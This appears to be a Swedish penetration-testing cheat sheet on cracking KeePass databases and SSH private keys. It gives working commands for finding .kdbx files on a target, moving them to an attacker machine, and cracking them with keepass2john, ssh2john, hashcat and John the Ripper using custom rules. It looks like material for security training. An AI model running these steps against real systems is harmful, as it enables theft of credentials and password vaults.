4. KeePass & SSH-key Crack
KeePass Hash Crack:
- Lokalisera databas-filen:
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
- För över filen till Linux.
- Konvertera den till hash-format:
keepass2john Database.kdbx > keepass.hash
- Redigera filen och ta bort eventuellt "användarnamn"
- Ta reda på hash-ID:t för Hashcat:
hashcat --help | grep -i "KeePass"
- Förbered eventuell regel fil som '.rule'
- Cracka skiten:
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
- Öppna databasen med "kpcli":
SSH-key Crack:
- Lokalisera id_rsa-fil och för över till lokal angriparmaskin.
- Konvertera till hash-format:
ssh2john id_rsa > ssh.hash
- Skapa regelfil om behövs, och lägg till obligatorisk första rad. Ex.
[List.Rules:<regelnamn>]
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#
- Appenda nya regelfilen till /etc/john/john.conf:
sudo sh -c 'cat <regelfil> >> /etc/john/john.conf'
- Cracka skiten:
john --wordlist=<ordlista> --rules=<regelnamn> ssh.hash
John hash-cracking:
#Ta reda på hashtypen
hashid -e -j '<hash>'
hash-identifier <hash>
#Cracka med dictionary
john --wordlist=rockyou.txt --rules=regelnamn --format=<hashidformat> hash.txt
#Visa hashen igen
john --show pass.txt
Best john rules: https://charlesreid1.com/wiki/John_the_Ripper/Rules#Install_the_Rules
List all John rules:
for ruleset in `grep KoreLogicRules /etc/john/john.conf | cut -d: -f 2 | cut -d\] -f 1`; do echo ${ruleset}; done